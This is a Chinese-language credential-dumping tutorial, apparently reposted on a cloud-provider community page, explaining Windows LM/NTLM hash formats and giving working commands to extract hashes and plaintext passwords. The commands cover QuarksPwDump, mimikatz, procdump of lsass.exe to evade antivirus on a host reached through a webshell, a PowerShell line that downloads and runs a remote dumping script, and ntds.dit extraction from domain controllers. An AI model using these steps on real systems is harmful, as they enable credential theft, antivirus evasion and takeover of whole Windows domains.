關於Windows系統密碼抓取

來源:互聯網
上載者:User

標籤:tco   must   txt   bsp   new   lease   令行   exe   版本   

 0x01 windows密碼Hash

 

     早期SMB協議在網路上傳輸明文口令。後來出現"LAN Manager Challenge/Response"驗證機制,簡稱LM,它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。Windows加密過的密碼口令,我們稱之為hash(中文:雜湊),Windows的系統密碼hash預設情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。

     NTLM-Hash與LM-Hash演算法相比,明文口令大小寫敏感,但無法根據NTLM-Hash判斷原始明文口令是否小於8位元組,擺脫了魔術字串"[email protected]#$%"。MD4是真正的單向雜湊函數,窮舉做為資料來源出現的明文,難度較大。問題在於,微軟一味強調NTLM-Hash的強度高,卻避而不談一個事實,為了保持向後相容性,NTLM-Hash預設總是與LM-Hash一起使用的。這意味著NTLM-Hash強調再高也是無助於安全的,相反潛在損害著安全性。增加NTLM-Hash後,首先利用LM-Hash的弱點窮舉出原始明文口令的大小寫不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。

 

Windows系統下的hash密碼格式為:使用者名稱稱:RID:LM-HASH值:NT-HASH值,例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

使用者名稱稱為:Administrator

RID為:500

LM-HASH值為:C8825DB10F2590EAAAD3B435B51404EE

NT-HASH值為:683020925C5D8569C23AA724774CE6CC

如果你知道這個使用者的hash密碼了,拿著C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash線上查詢網站。

 

0x02 QuarksPwDump

 

     一般用QuarksPwDump_v0.2b來抓取整個windows系列的密碼hash,將得到的hash值在http://www.objectif-securite.ch/ophcrack.php查詢。

     QuarksPwDump抓取密碼的命令如下:(其他命令可以參考軟體說明)

quarkspwdump.exe -dhl

得到的整個HASH值拿去線上破解。

 

0x03 mimikatz

 

密碼抓取神器mimikatz來測試一下,命令如下:

privilege::debug
sekurlsa::logonpasswords

圖示結果如下:

 

有沒有發現,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系統密碼給取到了。NT-HASH兩款軟體得到的結果是一樣的。

 

     在滲透測試過程中會出現這樣得情境,我已經chopper連上對方主機,但是系統預設安裝了360安全衛士或其他得安全軟體。我上傳的mimikatz和QuarksPwDump都被查殺了。也就是說我想利用這兩款軟體常規思路擷取系統的密碼HASH已經是不太可能了。其實,我們可以先dump對方主機的LSASS記憶體檔案,然後在自己主機用mimikatz進行處理,這樣就可以得到對方主機的系統HASH和密碼。

     可以到微軟的官方網站下載 ProDump,這個肯定不會引起殺毒軟體的報毒和查殺了。

命令如下:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

圖示如下:

 

 

接下來,再示範一下本地用mimikatz進行破解:

首先輸入命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

接著輸入命令:

sekurlsa::logonpasswords

可以看到,能夠得到離線得到系統密碼,這樣就可以在對方主機上繞過殺毒軟體的查殺了。

在烏雲知識庫中也有看到利用PowerShell完成Prodump一樣工作的命令。具體命令如下:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1‘); "Get-Process lsass | Out-Minidump"

我在被滲透主機上進行嘗試過,發現也是可行的,不過chopper的虛擬終端下會顯示錯誤,實際上已經成功執行Powershell代碼。不過總體感覺還是Prodump用起來更加方便。

     Metasploit中也有整合mimkatz的。具體教程可以參考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz

 

0x04 NTDSDump相關

 

受不了NTDSXTract的龜速,於是用quarkspwdump改了個能讀取system.hiv的離線版提取工具。

ntds.dit其實就是個esent資料庫,微軟本身就有一系列的文檔化api能夠操作這個資料庫。

其命令列如下:

ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]

-f    ntds.dit路徑

-k   可選的十六進位格式的SYSKEY

-s    可選的system.hiv路徑

-h   匯出曆史密碼記錄

-t    匯出格式,LC或JOHN

-o   匯出到指定檔案中

 

SYSKEY實際上就是HKLM\SYSTEM\CurrentControlSet\Control\Lsa下面幾個子項的類型資訊,可以用RegQueryInfoKey查詢出來。

附件裡面提供了兩個匯出工具,getsyskey_c.exe由vc6編譯,其源碼為getsyskey.cpp,用vc6直接開啟編譯即可。

getsyskey_cs.exe由.net2.0編譯,源碼為getsyskey.cs,用csc直接編譯即可。

 

已知錯誤:

JetAttachDatabase() failed

原因:資料庫需要修複,執行esentutl /p /o ntds.dit進行修複。

 

ntdsdump

 

另:改完之後又看了看quarkspwdump的github,發現有人提交了個pull request:https://github.com/quarkslab/quarkspwdump/pull/3

其添加了一個載入system.hiv的功能,調用了RegLoadKey。而這個API必須要過UAC才行,所以用起來還是挺彆扭的,不如這個直接讀取檔案進行處理來得痛快。

 

安全脈搏姿勢

在2008+域控上使用 ntdsutil snapshot mount匯出ntds.dit, SAM以及System ,

ntdsutilsnapshotactivate instance ntdscreatemount {GUID}copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.ditunmount {GUID}quitquit然後就是各種copy了

 

在域控上使用 QuarksPwDump.exe 匯出絕大部分明文:

QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:\ntds.dit

下載回本地再用QuarksPwDump似乎就不行,主要因為本地無法指定SYSTEM檔案導致擷取不到key

 

附Quarks PWDump使用參數:

quarks-pwdump.exe <options>

       Options :

       -dhl  --dump-hash-local

       -dhdc --dump-hash-domain-cached

       -dhd  --dump-hash-domain (NTDS_FILE must be specified)

       -db   --dump-bitlocker (NTDS_FILE must be specified)

       -nt   --ntds-file FILE

       -hist --with-history (optional)

       -t    --output-type JOHN/LC (optional, if no=>JOHN)

       -o    --output FILE (optional, if no=>stdout)

       Example: quarks-pwdump.exe --dump-hash-domain --with-history

 

當然也可以把ntds.dit, SAM以及System下載回來(很多大內網 ntds就好幾G,下載回來不太科學)用某工具解密 不過感覺有點龐大,現在我們可以使用NTDSDump.exe

NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt

 

 

0x05 參考連結

https://www.secpulse.com/archives/6301.html

https://www.cnblogs.com/hiccup/p/4380298.html

關於Windows系統密碼抓取

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.